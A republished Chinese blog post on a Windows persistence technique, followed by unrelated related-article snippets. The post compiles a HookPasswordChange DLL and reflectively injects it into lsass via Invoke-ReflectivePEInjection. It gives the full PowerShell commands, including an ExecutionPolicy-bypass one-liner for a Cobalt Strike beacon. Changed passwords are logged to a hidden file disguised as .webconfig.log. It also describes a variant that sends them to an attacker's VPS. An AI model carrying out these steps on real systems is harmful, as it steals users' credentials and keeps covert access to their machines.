权限维持-HOOK-DLL加载

news2025/1/10 17:09:22

前言

继续来研究关于权限维持的方法,这里希望与各位一起加油。

这里的HOOK其实指的就是Hook PasswordChangeNotify

其中PasswordChangeNotify是一个函数,如果修改的密码符合要求,那么PasswordChangeNotify在系统上同步更新密码,然后我们要做的就是将他的执行流定义到我们的PasswordChangeNotifyHook上面,所以讲到这里大家也明白了吧,我们是用他来获得主机修改的密码和用户名。

注:单机环境和域环境都可以使用

复现

1.整理工具

这里我们需要去把这两个下过来

https://github.com/clymb3r/Misc-Windows-Hacking

PowerShell/Invoke-ReflectivePEInjection.ps1 at master · clymb3r/PowerShell · GitHub

misc-windows-hacking下载好后,使用Visual Studio Install来编译他

然后我们要设置为在静态库中使用MFC,然后这里遇到了两个问题,可以参考

版本问题  组件问题

然后先别急着生成,我们先设置一下HookPasswordChage.cpp,这里他默认是将修改的账号密码保存到这里,这里修改一下,我是修改成c:\\windows\\.webconfig.log

然后这里记得选择

 

然后生成的文件会在这里

2.利用

使用本地

将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传

直接执行就好了

注:需要在powershell中执行

Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

cs复现

首先将将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传

至于为什么要这么搞,因为他是没有Invoke-ReflectivePEInjection这个命令的,需要我们导入然后呢,cs可不会让你这样一个个搞,所以我们只能三合一了。

shell powershell -ExecutionPolicy Bypass -Command "& {Set-ExecutionPolicy bypass; Import-Module .\Invoke-ReflectivePEInjection.ps1; Invoke-ReflectivePEInjection -PEPath ./HookPasswordChange.dll -procname lsass}"

然后这里我们修改密码,然后去查看C:\Windows\.webconfig.log文件,可以看到我们更改的内容

 

 升级puls版

既然我们上面说了,他是将修改密码的流量转发到文件中,假如他出网的话,那么我们为什么不能直接转发到我们的端口中,就算不出网,我们也能用一些机子做一些中转不就可以了。

这里我们看一下puls版本的,看到他这里只是加请求,下面可以写我们的vps的地址和设定的端口。 

但是这时候发现他执行不成功,这是因为这个使用vs2022编译,机子是没有msvcp140.dall这个文件的,是一个硬伤,我尝试将本机msvcp140.dll,上传到他的system32目录中,但还是不行,这个问题我暂时没有解决,所以呢,算是提一嘴。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/602487.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网讯1860网卡网络流控导致网络异常问题

1、背景介绍 目前使用的飞腾平台中采用国产化WX1860千兆网卡芯片,交换芯片采用盛科的CTC8096。示意图如下: 当其中一块飞腾系统异常时,发现整个平台内所有的千兆网均出现异常,任意两个飞腾千兆网均无法ping通。 2、问题排查 一…

什么是边缘计算网关以及什么是边缘计算?

边缘计算 边缘计算是一种分布式计算范例,使计算任务从数据中心或云端移向离数据源更近的地方,即网络的"边缘"。这样做的目的是降低网络延迟,提高数据处理速度,同时减少不必要的数据传输,节省带宽和存储资源。…

如何实现折起来的效果

如何实现范围裁剪和旋转效果。 日常 我还是希望自己的博客能够存在一些温度,而不是冷冰冰的技术分享,我希望留下专属于我自己的个性,就像鸿洋和郭霖的公众号一样。他们会在自己的博客顶端随便写一下最近的新闻什么的,而我不同&a…

msvcr110.dll丢失的解决方法哪种好,推荐这个4种解决方法

Msvcr110.dll是Microsoft Visual Studio 2012的运行时组件之一。这个DLL文件包含一些用于Windows操作系统的C函数库。当程序需要这些函数时,它们会被加载到内存中,以便程序可以使用它们。 当计算机提示“msvcr110.dll丢失”时,可能出现以下影…

基于matlab使用接收机工作特征 (ROC) 曲线评估相干和非相干系统性能

一、前言 此示例说明如何使用接收机工作特征 (ROC) 曲线评估相干和非相干系统的性能。该示例假设检测器在加性复杂高斯白噪声环境中工作。 ROC曲线通常用于评估雷达或声纳探测器的性能。ROC 曲线是给定信噪比 (SNR) 的检测概率 &a…

介绍CSDN的阅览器

大家好!今天给大家一款由csdn官方打造的一个界面阅览器 意思就是靠我们自带的阅览器改变他的外观方式,这就是我用了CSDN阅览器之后的效果图 然后我们也可以清晰看到我们整个界面,对于我们经常写csdn博客的小伙伴来说是很方便,因为…

配电室动环监控系统的功能与应用

来源:山东仁科www.rkckth.com 六月天的 【配电室】,表面 “ 风平浪静 ”,实则 “ 多面夹击 ”。 步入六月份的夏季由高温掌控,为营造舒适凉爽的生活环境,人们的用电量也进入“汛期”,急速上涨&#xff0c…

亚信前端面试真题

目录 1.如何设置一个元素不可见? 2.谷歌浏览器设置比12px还小的字体? 3.深拷贝实现方法???????? 4.防抖节流实现原理???? 5.遍历循环数组方法????? 6.vue的双向绑定????? 7.compute和watche…

【MySQL高级篇笔记-InnoDB数据存储结构 (中) 】

此笔记为尚硅谷MySQL高级篇部分内容 目录 一、数据库的存储结构:页 1、磁盘与内存交互基本单位:页 2、页结构概述 3、页的大小 4、页的上层结构 二、页的内部结构 1、分三个部分看 2、从数据页角度看B 树如何查询 三、InnoDB行格式(或记录格式) 四、区、段与碎片区…

测试环境一键发布

背景 目前公司项目发布测试环境不够自动化,每次需要手动打包并且手动更新,影响开发效率 流程图 而且因为是本地手动发布,容易失误造成一些不必要的麻烦: 远端代码有更新,忘记拉取代码 快速发布,本地代码…

Redis7实战加面试题-高阶篇(Redis为什么快?高性能设计之epoll和IO多路复用深度解析)

多路复用要解决的问题 并发多客户端连接,在多路复用之前最简单和典型的方案:同步阻塞网络IO模型 这种模式的特点就是用一个进程来处理一个网络连接(一个用户请求),比如一段典型的示例代码如下。 直接调用 recv 函数从一个 socket 上读取数据…

Nginx:Nginx优化与防盗链

Nginx:Nginx优化与防盗链 一、配置Nginx隐藏版本号二、修改Nginx用户与组三、配置Nginx网页缓存时间3.1 修改配置文件3.2 页面缓存验证 四、配置Nginx实现连接超时五、更改Nginx运行进程数六 、配置Nginx实现网页压缩功能七、配置Nginx实现防盗链 一、配置Nginx隐藏…

[数据集][目标检测]目标检测数据集蜜蜂4073张1类别VOC格式

出品方:未来自主研究中心(FIRC) 数据集格式:Pascal VOC格式(不包含分割路径的txt文件和yolo格式的txt文件,仅仅包含jpg图片和对应的xml) 图片数量(jpg文件个数):7398 标注数量(xml文件个数):7398 标注类别数&#xff…

如何利用宝塔面板快速搭建Wordpress网站?

本章教程,主要介绍一下,如何利用宝塔面板快速搭建Wordpress网站。 目录 一、 前置条件 二、 打开宝塔面板 三、解析域名 四、安装界面 五、主题安装 六、网站预览 一、 前置条件 需要准备一台Linux服务器,系统版本使用centos 7.X。 使用…

这两个PPT素材网站很多大佬都在用

01 OfficePLUS是一款基于Microsoft Office的专业辅助工具,能够为用户提供更加高效、便捷的办公体验。该工具针对多个版本的Office软件进行优化和定制,提供了丰富的功能和实用的设计资源,如PPT模板、Word模板、Excel模板等。 OfficePLUS的主…

除了ChatGPT,还有哪些好用的AI工具?(建议收藏)

目前市面上的AI工具非常多,本文对他们进行了汇总整理,大家可以按需下载或者使用哦~ 一、AI对话聊天工具 1、New Bing(AI对话搜索) https://cn.bing.com 有点像ChatGPT版的必应,可以帮你搜索问题、回答问题、写文案、写…

简单分析jsjiami.v6加密逻辑

代码案例: var _0xodRjsjiami.com.v6,_0xodR_function(){return[‮_0xodR],_0x4311[_0xodR,TMOw51jPALDkw,w6LDqcOhw7PCqQ,I8OkP0zDs8KF,fyjCv8OB,CMOdEk5b,OnthccOZHXXDoA,UnDCrcKvw61VAsKNw7TCoRN8wpkhFVzCgA40woV6wrTCtMOXbXo,CMOiwohCXsKhw4PDq8KKw5MbPMOnWVjC…

基于LayUI+Servlet的权限管理系统的设计

权限管理是所有后台系统的都会涉及的一个重要组成部分,主要目的是对不同的人访问资源进行权限的控制,避免因权限控制缺失或操作不当引发的风险问题,如操作错误,隐私数据泄露等问题。本系统基于JSPServletJDBCLayUI的技术&#xff…

Java并发体系-第三阶段-JUC并发包-[2]-CompleableFuture,SynchronousQueue

Phaser工具(有时间就了解一下,下面还有队列) 简介 java7中引入了一种新的可重复使用的同步屏障,称为移相器Phaser。Phaser拥有与CyclicBarrier和CountDownLatch类似的功能. 但是这个类提供了更加灵活的应用。CountDownLatch和CyclicBarrier都是只适用于固定数量的…

(5)NUC980先来点个灯如何设置开启自启动

嵌入式Linux开机启动过程: 可以分为以下几个步骤: CPU复位:开机时,CPU会执行复位操作,将内存的内容清空,寄存器的初始值复位。 ROM启动:CPU会从ROM中读取启动程序,将其加载到内存中…